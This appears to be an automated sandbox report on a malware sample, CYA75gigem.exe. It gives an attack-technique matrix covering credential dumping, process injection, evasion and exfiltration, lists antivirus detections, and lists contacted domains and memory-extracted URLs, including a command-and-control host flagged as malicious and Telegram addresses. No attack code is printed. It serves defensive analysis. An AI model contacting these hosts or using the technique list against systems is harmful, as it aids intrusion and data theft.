Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	412 Process Injection	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	13 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CYA75gigem.exe	41%	ReversingLabs
CYA75gigem.exe	49%	Virustotal		Browse
CYA75gigem.exe	100%	Avira	TR/Crypt.XPACK.Gen

Source	Detection	Scanner	Label
https://webdisk.lodrat.org/i;	100%	Avira URL Cloud	malware
https://webdisk.lodr	0%	Avira URL Cloud	safe
https://msn.comXIDv10sZ	0%	Avira URL Cloud	safe
https://webdisk.lodrat.org/webdisk.lodrat.org	100%	Avira URL Cloud	malware
https://webdisk.lodrat.org/nt.documentE	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.186.142	true	false	high
a416.dscd.akamai.net	2.22.242.11	true	false	high
onedscolprdeus17.eastus.cloudapp.azure.com	20.42.65.91	true	false	high
t.me	149.154.167.99	true	false	high
webdisk.lodrat.org	88.99.124.230	true	true	unknown
a-0003.a-msedge.net	204.79.197.203	true	false	high
c-msn-pme.trafficmanager.net	13.74.129.1	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
play.google.com	142.250.185.110	true	false	high
a-0016.a-msedge.net	204.79.197.219	true	false	high
sb.scorecardresearch.com	18.244.18.32	true	false	high
www.google.com	142.250.186.36	true	false	high
e28578.d.akamaiedge.net	95.101.182.8	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.129	true	false	high
assets.msn.com	unknown	unknown	false	high
r.msftstatic.com	unknown	unknown	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://c.msn.com/c.gif?rnd=1739522257441&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ef3d1cec59894898a5ca1011d58fbba8&activityId=ef3d1cec59894898a5ca1011d58fbba8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9A4981D3FDDD481BBE8A0876958624B3&MUID=2DC2684C548A6DF12F7B7DDF55E86C57	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.f30eb488fb3069c7561f.js	false	high
https://clients2.googleusercontent.com/crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1739522261698&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.5da1d823f3d7131a6bff.js	false	high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	false		high
https://google-ohttp-relay-join.fastly-edge.com/(n	chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/0	000003.log2.15.dr	false		high
https://ntp.msn.com/_default	QuotaManager.15.dr	false		high
http://anglebug.com/4633	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Zl	chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webdisk.lodrat.org/i;	BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/9n	chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.15.dr	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 0000000B.00000003.1716979235.0000009C010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716606649.0000009C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716731219.0000009C01088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718356616.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718308209.0000009C00ED4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718331686.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716809579.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716774978.0000009C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718279497.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json0.15.dr	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 0000000B.00000003.1715637633.0000009C00FC0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.instagram.com	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
http://anglebug.com/6929	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://i.y.qq.com/n2/m/index.html	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://www.deezer.com/	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://msn.comXIDv10sZ	Cookies.17.dr	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/255411748	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web.telegram.org/	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 0000000B.00000003.1713217284.0000009C00BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 0000000B.00000003.1713149844.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000002.1839259406.000001F80017C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.15.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 0000000B.00000003.1716979235.0000009C010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716606649.0000009C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716731219.0000009C01088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718356616.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718308209.0000009C00ED4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718331686.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716809579.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716774978.0000009C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718279497.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/b4cha00oomaino5Mozilla/5.0	BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	false		high
https://t.me/b4cha00k	BitLockerToGo.exe, 00000009.00000003.1632368494.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647208456.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660632126.000000000289F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, 8y58gl.9.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.15.dr	false		high
https://excel.new?from=EdgeM365Shoreline	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.15.dr	false		high
https://webdisk.lodr	BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/kl	chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webdisk.lodrat.org/nt.documentE	BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/7556	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	msedge.exe, 0000000E.00000002.1839259406.000001F80017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.15.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	BitLockerToGo.exe, 00000009.00000002.2108827400.000000000556D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp, 3euk6x.9.dr	false		high
https://webdisk.lodrat.org/I;	BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.15.dr	false		high
https://chrome.google.com/webstore/	manifest.json.15.dr	false		high
https://bard.google.com/	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	CYA75gigem.exe	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webdisk.lodrat.org/webdisk.lodrat.org	BitLockerToGo.exe, 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/3502	chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
http://anglebug.com/3625	msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/0/	e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	false		high
